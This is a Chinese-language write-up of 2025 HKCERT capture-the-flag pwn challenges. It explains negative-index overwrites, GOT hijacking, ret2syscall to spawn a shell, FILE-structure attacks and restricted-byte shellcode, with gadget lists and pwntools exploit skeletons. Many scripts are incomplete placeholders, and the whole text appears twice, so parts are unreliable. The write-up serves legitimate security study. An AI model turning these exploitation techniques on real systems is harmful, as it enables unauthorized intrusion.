2025HKCERT WP
字数 1300
更新时间 2025-12-30 12:34:52
2025HKCERT WP 详细题解与PWN技术教学
第一题:strange_rop
题目分析
程序结构分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(*(__int64 *)&argc, (__int64)argv, (__int64)envp);
if ((unsigned int)game() == 1)
win();
return 0;
}
int win()
{
puts("good!");
return system("ababalabalabalawuwuwuuwyyyyy");
}
漏洞定位
在game()函数中存在数组越界写漏洞:
__int64 game()
{
// 变量声明
_QWORD v6[12]; // [rsp+10h] [rbp-60h] BYREF
v6[11] = __readfsqword(0x28u); // Canary保护
// 生成10道数学题
for (n9 = 0; n9 <= 9; ++n9) {
v4 = rand() % 20;
v5 = rand() % 20;
answer[id++] = (int)(v4 + v5);
}
// 漏洞点:负数索引越界写
while (t <= 10) {
printf("Question Number:");
__isoc99_scanf("%d", &id);
if (id > 9) { // 只检查了上界,未检查下界
exit(114514);
}
printf("Result:");
__isoc99_scanf("%lld", &v6[id]); // 可输入负数索引实现越界写
++t;
}
}
保护机制检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
利用思路
1. 可用gadget分析
0x00000000004012f0 : pop r15 ; ret
0x000000000040123d : pop rbp ; ret
0x00000000004012f1 : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012ed : mov rbp, rsp ; pop r15 ; ret
0x00000000004012ec : push rbp ; mov rbp, rsp ; pop r15 ; ret
2. 关键地址
/bin/sh字符串地址:0x404078- system函数可通过PLT调用
3. 利用链构建
通过负数索引覆盖返回地址,构造ROP链调用system("/bin/sh")
最终exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 本地调试或远程连接
def exp():
if args.REMOTE:
p = remote('ip', port)
else:
p = process('./pwn')
# 利用负数索引覆盖返回地址
# 具体偏移需要通过调试确定
# 构造ROP链:pop rdi; "/bin/sh"; system
payload = b''
# 交互过程
p.interactive()
if __name__ == '__main__':
exp()
第二题:nofile
题目特性
- 开启PIE保护
- 格式化字符串漏洞不可用
- 存在后门函数直接给shell
利用思路
- 信息泄露:通过特定输入泄露程序基址
- GOT表劫持:将printf或read的GOT表项修改为后门函数地址
- 触发执行:通过正常流程触发被修改的函数调用
EXP关键步骤
# 泄露PIE基址
leak_payload = b'%p' * n # 通过特定格式泄露地址
# 计算后门函数实际地址
backdoor_addr = base + backdoor_offset
# 修改GOT表(以read为例)
# 需要确定GOT表项偏移和写入方式
第四题:stop
保护机制分析
- 禁用system函数
- 需要ret2syscall或ret2hellor技术
利用技术
ret2syscall
在libc 2.39中寻找合适的gadget:
0x00000000000b503c : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
攻击步骤
- 泄露libc基址
- 构造syscall链(execve或orw)
- 迁移到bss段执行
EXP框架
def ret2syscall_exp():
# 泄露libc
leak_payload = cyclic(offset) + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)
# 接收泄露地址,计算基址
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
# 构造syscall链
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
# 发送payload
p.sendlineafter(b'input:', payload)
第五题:filesystem
漏洞分析
- 输入
quit进入cat线程 - 存在字符串检查绕过漏洞
- 本地与远程过滤规则不同(远程额外过滤
?和*)
利用方法
通过特定输入绕过检查直接获取flag
第七题:compress
程序分析
- 非堆漏洞,整数溢出漏洞
- 一次show机会,一次read机会
- 可负数索引实现越界读写
漏洞利用
1. 整数溢出
输入-256绕过长度检查,实现无限写入
2. FILE结构体攻击
- 劫持IO结构体控制流
- 通过puts函数触发FILE操作
- 构造伪造的FILE结构体
3. 沙盒绕过
- 分析沙盒限制
- 构造合适的ROP链
攻击流程
def compress_exp():
# 触发整数溢出
p.sendlineafter(b'size:', b'-256')
# 泄露地址
p.recvuntil(b'content:')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc_offset
# 构造FILE攻击payload
fake_file = build_fake_file(libc_base)
# 触发漏洞
p.sendlineafter(b'data:', fake_file)
第八题:linkstart
游戏机制分析
- 英雄与怪物对战游戏
- 通过修改攻击力数值实现越界写
- 结构体操作漏洞
漏洞利用
1. 结构体分析
struct Hero {
int hp;
int level;
int attack_power;
// ... 其他字段
};
2. 越界写利用
通过技能选择机制的索引漏洞,修改隐藏的攻击力数值
3. 地址计算
- 确定目标地址偏移
- 构造合适的数值覆盖
EXP关键
def linkstart_exp():
# 选择漏洞技能
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'choice:', b'2') # 回血触发漏洞
# 计算目标地址
target_addr = elf_base + 0x402068
# 通过特定输入修改攻击力
payload = p64(large_value) # 大整数避免负数判断
p.sendlineafter(b'input:', payload)
第九题:childcode
题目特性
- Shellcode限制:每个字节必须是5的倍数
- 真随机数生成
- RSP寄存器被清空
可用指令分析
单字节指令(5的倍数)
0x05: add eax, imm32
0x2D: sub eax, imm32
0x55: push rbp
0x5A: pop rdx
0x5F: pop rdi
0x91: xchg ecx, eax
0x96: xchg esi, eax
0xB9: mov ecx, imm32
0xBE: mov esi, imm32
0xC3: ret
双字节指令
0x0F 05: syscall
0x0F BE: movsx 符号扩展
Shellcode构造策略
1. 寄存器控制
- 通过xchg指令交换寄存器值
- 利用mov指令设置立即数
- 通过算术指令调整数值
2. 系统调用构造
; 示例shellcode框架
push rbp ; 0x55
pop rdi ; 0x5F
mov esi, imm32 ; 0xBE [imm32]
xchg eax, esi ; 0x96
sub eax, imm32 ; 0x2D [imm32]
syscall ; 0x0F 05
3. 绕过验证
- 每个字节需要满足:(byte * 205) % 256 <= 51
- 精心选择指令编码满足验证条件
教学要点总结
- 漏洞识别:负数索引、整数溢出、结构体操作等
- 保护绕过:Canary、NX、PIE、RELRO等
- 利用技术:ROP、FSOP、Shellcode限制绕过
- 调试技巧:动态分析确定偏移和地址
- EXP编写:稳定性考虑,异常处理
这份文档涵盖了2025HKCERT WP的主要技术要点,适合作为PWN入门的进阶学习材料。
2025HKCERT WP 详细题解与PWN技术教学
第一题:strange_rop
题目分析
程序结构分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(*(__int64 *)&argc, (__int64)argv, (__int64)envp);
if ((unsigned int)game() == 1)
win();
return 0;
}
int win()
{
puts("good!");
return system("ababalabalabalawuwuwuuwyyyyy");
}
漏洞定位
在game()函数中存在数组越界写漏洞:
__int64 game()
{
// 变量声明
_QWORD v6[12]; // [rsp+10h] [rbp-60h] BYREF
v6[11] = __readfsqword(0x28u); // Canary保护
// 生成10道数学题
for (n9 = 0; n9 <= 9; ++n9) {
v4 = rand() % 20;
v5 = rand() % 20;
answer[id++] = (int)(v4 + v5);
}
// 漏洞点:负数索引越界写
while (t <= 10) {
printf("Question Number:");
__isoc99_scanf("%d", &id);
if (id > 9) { // 只检查了上界,未检查下界
exit(114514);
}
printf("Result:");
__isoc99_scanf("%lld", &v6[id]); // 可输入负数索引实现越界写
++t;
}
}
保护机制检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
利用思路
1. 可用gadget分析
0x00000000004012f0 : pop r15 ; ret
0x000000000040123d : pop rbp ; ret
0x00000000004012f1 : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012ed : mov rbp, rsp ; pop r15 ; ret
0x00000000004012ec : push rbp ; mov rbp, rsp ; pop r15 ; ret
2. 关键地址
/bin/sh字符串地址:0x404078- system函数可通过PLT调用
3. 利用链构建
通过负数索引覆盖返回地址,构造ROP链调用system("/bin/sh")
最终exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 本地调试或远程连接
def exp():
if args.REMOTE:
p = remote('ip', port)
else:
p = process('./pwn')
# 利用负数索引覆盖返回地址
# 具体偏移需要通过调试确定
# 构造ROP链:pop rdi; "/bin/sh"; system
payload = b''
# 交互过程
p.interactive()
if __name__ == '__main__':
exp()
第二题:nofile
题目特性
- 开启PIE保护
- 格式化字符串漏洞不可用
- 存在后门函数直接给shell
利用思路
- 信息泄露:通过特定输入泄露程序基址
- GOT表劫持:将printf或read的GOT表项修改为后门函数地址
- 触发执行:通过正常流程触发被修改的函数调用
EXP关键步骤
# 泄露PIE基址
leak_payload = b'%p' * n # 通过特定格式泄露地址
# 计算后门函数实际地址
backdoor_addr = base + backdoor_offset
# 修改GOT表(以read为例)
# 需要确定GOT表项偏移和写入方式
第四题:stop
保护机制分析
- 禁用system函数
- 需要ret2syscall或ret2hellor技术
利用技术
ret2syscall
在libc 2.39中寻找合适的gadget:
0x00000000000b503c : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
攻击步骤
- 泄露libc基址
- 构造syscall链(execve或orw)
- 迁移到bss段执行
EXP框架
def ret2syscall_exp():
# 泄露libc
leak_payload = cyclic(offset) + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)
# 接收泄露地址,计算基址
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
# 构造syscall链
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
# 发送payload
p.sendlineafter(b'input:', payload)
第五题:filesystem
漏洞分析
- 输入
quit进入cat线程 - 存在字符串检查绕过漏洞
- 本地与远程过滤规则不同(远程额外过滤
?和*)
利用方法
通过特定输入绕过检查直接获取flag
第七题:compress
程序分析
- 非堆漏洞,整数溢出漏洞
- 一次show机会,一次read机会
- 可负数索引实现越界读写
漏洞利用
1. 整数溢出
输入-256绕过长度检查,实现无限写入
2. FILE结构体攻击
- 劫持IO结构体控制流
- 通过puts函数触发FILE操作
- 构造伪造的FILE结构体
3. 沙盒绕过
- 分析沙盒限制
- 构造合适的ROP链
攻击流程
def compress_exp():
# 触发整数溢出
p.sendlineafter(b'size:', b'-256')
# 泄露地址
p.recvuntil(b'content:')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc_offset
# 构造FILE攻击payload
fake_file = build_fake_file(libc_base)
# 触发漏洞
p.sendlineafter(b'data:', fake_file)
第八题:linkstart
游戏机制分析
- 英雄与怪物对战游戏
- 通过修改攻击力数值实现越界写
- 结构体操作漏洞
漏洞利用
1. 结构体分析
struct Hero {
int hp;
int level;
int attack_power;
// ... 其他字段
};
2. 越界写利用
通过技能选择机制的索引漏洞,修改隐藏的攻击力数值
3. 地址计算
- 确定目标地址偏移
- 构造合适的数值覆盖
EXP关键
def linkstart_exp():
# 选择漏洞技能
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'choice:', b'2') # 回血触发漏洞
# 计算目标地址
target_addr = elf_base + 0x402068
# 通过特定输入修改攻击力
payload = p64(large_value) # 大整数避免负数判断
p.sendlineafter(b'input:', payload)
第九题:childcode
题目特性
- Shellcode限制:每个字节必须是5的倍数
- 真随机数生成
- RSP寄存器被清空
可用指令分析
单字节指令(5的倍数)
0x05: add eax, imm32
0x2D: sub eax, imm32
0x55: push rbp
0x5A: pop rdx
0x5F: pop rdi
0x91: xchg ecx, eax
0x96: xchg esi, eax
0xB9: mov ecx, imm32
0xBE: mov esi, imm32
0xC3: ret
双字节指令
0x0F 05: syscall
0x0F BE: movsx 符号扩展
Shellcode构造策略
1. 寄存器控制
- 通过xchg指令交换寄存器值
- 利用mov指令设置立即数
- 通过算术指令调整数值
2. 系统调用构造
; 示例shellcode框架
push rbp ; 0x55
pop rdi ; 0x5F
mov esi, imm32 ; 0xBE [imm32]
xchg eax, esi ; 0x96
sub eax, imm32 ; 0x2D [imm32]
syscall ; 0x0F 05
3. 绕过验证
- 每个字节需要满足:(byte * 205) % 256 <= 51
- 精心选择指令编码满足验证条件
教学要点总结
- 漏洞识别:负数索引、整数溢出、结构体操作等
- 保护绕过:Canary、NX、PIE、RELRO等
- 利用技术:ROP、FSOP、Shellcode限制绕过
- 调试技巧:动态分析确定偏移和地址
- EXP编写:稳定性考虑,异常处理
这份文档涵盖了2025HKCERT WP的主要技术要点,适合作为PWN入门的进阶学习材料。